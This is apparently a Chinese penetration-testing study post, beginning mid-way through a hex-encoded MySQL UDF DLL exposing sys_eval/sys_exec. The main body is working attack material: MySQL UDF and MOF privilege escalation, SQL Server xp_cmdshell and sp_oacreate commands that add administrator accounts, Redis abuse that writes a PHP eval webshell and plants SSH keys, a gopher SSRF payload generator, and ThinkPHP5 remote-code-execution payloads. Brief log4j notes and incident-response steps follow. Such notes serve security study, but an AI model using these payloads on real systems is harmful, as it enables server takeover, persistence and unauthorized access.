AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D47264375727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A10741048FFC0881783E9018A10488D7F0175F0F3C3FC415BEB0848FFC6881748FFC78A1601DB750A8B1E4883EEFC11DB8A1672E68D410141FFD311C001DB750A8B1E4883EEFC11DB8A1673EB83E8037217C1E0080FB6D209D048FFC683F0FF0F843A0000004863E88D410141FFD311C941FFD311C9751889C183C00241FFD311C901DB75088B1E4883EEFC11DB73ED4881FD00F3FFFF11C1E83AFFFFFFEB835E4889F7B900120000B2004889FBEB2C8A074883C7013C80720A3C8F7706807FFE0F74062CE83C0177233817751F8B072500FFFFFF0FC829F801D8AB4883E9048A074883C70148FFC975D9EB0548FFC975BE4883EC28488DBE007000008B0709C0744F8B5F04488D8C30B0A100004801F34883C708FF96ECA1000048958A0748FFC708C074D74889F94889FAFFC8F2AE4889E9FF96F4A100004809C074094889034883C308EBD64883C4285D5F5E5B31C0C34883C4284883C704488D5EFC31C08A0748FFC709C074233CEF77114801C3488B03480FC84801F0488903EBE0240FC1E010668B074883C702EBE1488BAEFCA10000488DBE00F0FFFFBB00100000504989E141B8040000004889DA4889F94883EC20FFD5488D871702000080207F8060287F4C8D4C24204D8B014889DA4889F9FFD54883C4285D5F5E5B488D4424806A004839C475F94883EC804C8B442418488B542410488B4C2408E91F79FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005CB0000054010000E404000000000000586000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E0000000000000000000000002CB20000ECB1000000000000000000000000000039B200001CB20000000000000000000000000000000000000000000044B200000000000052B200000000000062B200000000000072B200000000000080B200000000000000000000000000008EB200000000000000000000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000667265650000000000000000A727A15A0000000074B30000010000001200000012000000C0B2000008B3000050B300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000C010000000130000E0120000A011000089B300009FB30000BCB30000D7B30000E3B30000F6B3000007B4000010B4000020B400002EB4000037B4000047B4000055B400005DB400006CB4000079B4000081B4000090B4000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))
    			生成dll文件:SELECT c FROM udftmp INTO DUMPFILE 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll'
    
    4. dll文件成功上传后,通过动态链接库创建自定义函数:CREATE FUNCTION sys_eval RETURNS string soname 'udf.dll'
    
    5. 成功提权,可以使用UDF自定义函数进行操作:SELECT sys_eval('whoami')
    
    6. 销毁痕迹:drop function sys_eval
    
  2. MOF提权

    前提条件:
    1. 仅限windows 及适用于windows server2003及以下的版本
    2. mysql用户具有root权限,可以操控c:/windows/system32/wbem/mof/
    3. secure-file-priv=''
          
    原理:在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof文件会每间隔一段时间以system权限执行一次,所以只要我们将想要的操作通过代码存储到这个mof文件中,就可以实现权限提升
          
    步骤:
    1. 将nullevt.mof提权代码提前上传
    2. 使用select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
          
    附:nullevt.mof提权代码
    #pragma namespace("\\\\.\\root\\subscription")
          
    instance of __EventFilter as $EventFilter
    {
        EventNamespace = "Root\\Cimv2";
        Name  = "filtP2";
        Query = "Select * From __InstanceModificationEvent "
                "Where TargetInstance Isa \"Win32_LocalTime\" "
                "And TargetInstance.Second = 5";
        QueryLanguage = "WQL";
    };
          
    instance of ActiveScriptEventConsumer as $Consumer
    {
        Name = "consPCSV2";
        ScriptingEngine = "JScript";
        ScriptText =
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker 123456 /add\")";
        //cmd以system权限执行的语句
    };
          
    instance of __FilterToConsumerBinding
    {
        Consumer   = $Consumer;
        Filter = $EventFilter;
    };
    

SQL sever提权

  1. xp_cmdshell提权

    前提条件:已取得内部服务器sql server 的sa 权限
    1. 查看xp_cmdshell状态
    	select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    2. 如果没有启用,则开启该组件,命令为:
    		EXEC sp_configure 'show advanced options', 1
    		RECONFIGURE
    		EXEC sp_configure 'xp_cmdshell',1
    		RECONFIGURE
    	关闭组件命令为:
    		EXEC sp_configure 'show advanced options', 1
    		RECONFIGURE
    		EXEC sp_configure 'xp_cmdshell',0
    		RECONFIGURE
    	执行系统命令如下(任意一条都可以):
    		exec xp_cmdshell "whoami"
    		master..xp_cmdshell 'whoami'    (2008版上好像用不了)
    		EXEC master..xp_cmdshell "whoami"
    		EXEC master.dbo.xp_cmdshell "ipconfig"
    		
    		exec master..xp_cmdshell "net user test12 123.com /add"
    		exec master..xp_cmdshell "net localgroup administrators test12 /add"
    		exec master..xp_cmdshell "net user test12"
    3. 可以尝试远程登陆账户
    
  2. sp_oacreate提权

    原理:sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言
    前提条件:获取到sqlserver sysadmin权限用户的账号与密码
    		sqlserver允许远程连接
    		OLE Automation Procedures选项开启
    1. 查看sp_oacreate状态
    	select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
    2. 启用OLE Automation Procedures选项
    	当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。
    		exec sp_configure 'show advanced options',1;
    		reconfigure;
    		exec sp_configure 'Ole Automation Procedures',1;
    		reconfigure;
    	关闭该组件命令如下:
    		exec sp_configure 'show advanced options',1;
    		reconfigure;
    		exec sp_configure 'Ole Automation Procedures',0;
    		reconfigure;
    3. 利用sp_oacreate和sp_oamethod执行命令
    	写入文件:
    		declare @shell int exec sp_oacreate 'wscript.shell',@shell output
    		exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';
    	删除文件:
    		declare @result int
    		declare @fso_token int
    		exec sp_oacreate 'scripting.filesystemobject', @fso_token out
    		exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt'
    		exec sp_oadestroy @fso_token
    4. 增加用户和添加用户至本地管理员组中,命令如下:
    	declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
    	exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c "net user hacker admin@1234 /add" >c:\\sqltest.txt';  //添加用户
          
    	declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
    	exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c "net localgroup administrators hacker /add" >c:\\sqltest.txt'; //用户加入本地管理员组中
          
    

redis未授权访问

  1. webshell

    条件:redis未设置密码,端口绑定在0.0.0.0:6379下,没有设置防火墙,直接暴露在公网,知道网站目录的绝对路径
    利用:使用redis写webshell
    方法:
    	1. 修改redis文件的保存位置:config set dir /var/www/html/ 
    	2. 修改redis的快照文件名:config set dbfilename shell.php
    	3. 往redis数据库中写入数据:set x "\r\n\r\n<?php eval($_POST[cmd]);?>\r\n\r\n"
    	4. 保存快照文件:save
    	5. 使用蚁剑去连接webshell
    
  2. SSH公钥

    条件:服务端在.ssh目录下有写入的权限
    利用:在服务器上的/root/.ssh下生成一个授权的公钥
    方法:
    	1. 在本机上的/root/.ssh/id_rsa文件夹下生成公钥:ssh-keygen -t rsa
    	2. 将公钥的值放入txt中:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    	3. 连接redis,并添加我们的公钥数据:cat /root/.ssh/key.txt | redis-cli -h 192.168.244.128 -x set xxx
    	4. 修改redis配置,在对方的/root/.ssh下生成authorized_keys文件
    		redis-cli -h 192.168.244.128 -p 6379
    		config set dir /root/.ssh
    		config set dbfilename authorized_keys
    		save
    	5. 使用SSH连接目标机
    

gopher协议

简介:Gopher是一个信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处,利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。在SSRF中经常使用。
利用步骤:
1. 将写好的数据包进行一次url编码
2. 将里面的%0a替换为%0a%0d
3. 然后再进行两次url编码
4. 在url后加入一个字符(该字符可随意写)
	例如:http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc
	
py脚本:
import urllib.parse

payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

hello world!
------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryz0BDuCoolR1Vg7or--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

登录页面渗透测试思路

  1. 测试sql注入
  2. 提示用户名不存在或密码错误
  3. 查看源码,是否有敏感信息
  4. 验证码暴力破解
  5. 注册账号时是否有限制,无限注册
  6. 扫网站目录
  7. 检查网站是否存在源码泄露
  8. 看网站用的什么框架,去找对应poc

常见漏洞总结

log4j原理

log4j提供了一种lookup的功能,该功能可以查询很多种类的系统信息,但lookup是基于JNDI的,攻击者可以通过精心构造的恶意日志消息,将恶意JNDI资源名称作为日志记录中的一部分。当应用程序尝试解析这个JNDI资源时,它会触发远程JNDI服务的连接,进而导致攻击者能够执行任意的代码。

黑客只要在自己的客户端上启动一个带有恶意代码的rmi服务,然后通过服务端的这个log4j漏洞,向服务端的jndi 写入 lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致一个jndi注入。

JNDI是:Java命名和目录接口,主要作用是使开发人员在开发过程中可以使用名称来访问对象。(是Java的一个目录服务应用程序接口,它提供一个目录系统,并将服务名称与对象关联起来)

thinkphp5漏洞

  1. 漏洞成因

    因为ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

  2. 回答话术:

    ThinkPHP 5是一款流行的PHP开发框架,它也存在一些已经被公开披露的漏洞。其中比较知名的是远程代码执行漏洞(Remote Code Execution,RCE),该漏洞影响了ThinkPHP 5.0.x和5.1.x版本。

    这个漏洞的根本原因是由于在框架的路由解析过程中,没有对用户输入进行充分的过滤和验证。攻击者可以通过精心构造的请求,将恶意代码作为路由参数传递给应用程序,导致恶意代码被执行。这种远程代码执行漏洞可能会导致敏感信息泄露、服务器接管以及其他恶意行为的发生。

  3. 常见payload:

    POST 
    s=whoami&_method=__construct&method=POST&filter[]=system
    aaaa=whoami&_method=__construct&method=GET&filter[]=system
    _method=__construct&method=GET&filter[]=system&get[]=whoami
    c=system&f=calc&_method=filter								//自5.0.8开始
          
    POST
    s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
          
    其他:
    /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php phpinfo();?>
          
    /?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

关于Javaweb的一些常见漏洞

待补充

最新漏洞情报跟进

国家信息安全漏洞库 (cnnvd.org.cn)

项目大厅 - 漏洞盒子 (vulbox.com)

漏洞 - FreeBuf网络安全行业门户

阿里云漏洞库 (aliyun.com)

漏洞情报中心 (riskivy.com)

挖洞经验

待补充

应急响应基本思路流程

1.信息收集:收集客户信息和中毒主机信息(开启了哪些端口和业务)

2.判断类型:判断是否属于安全事件,勒索、挖矿、DOS等

3.应急处置:是否需要隔离受害主机、断网等处置

4.判断分析:日志分析、进程分析、定时任务分析、启动项分析等

5.清理处置:将后门进程、Webshell文件、隐藏账户、启动项以及定时任务等排查清除

6.加固防御:打补丁、升级系统、关闭不必要的端口号等

7.溯源反制:通过入侵IP等信息对攻击者行为进行分析,公安备案或者封禁IP等行为

posted @ 2023-07-14 12:37  Sentry_fei  阅读(63)  评论(0编辑  收藏  举报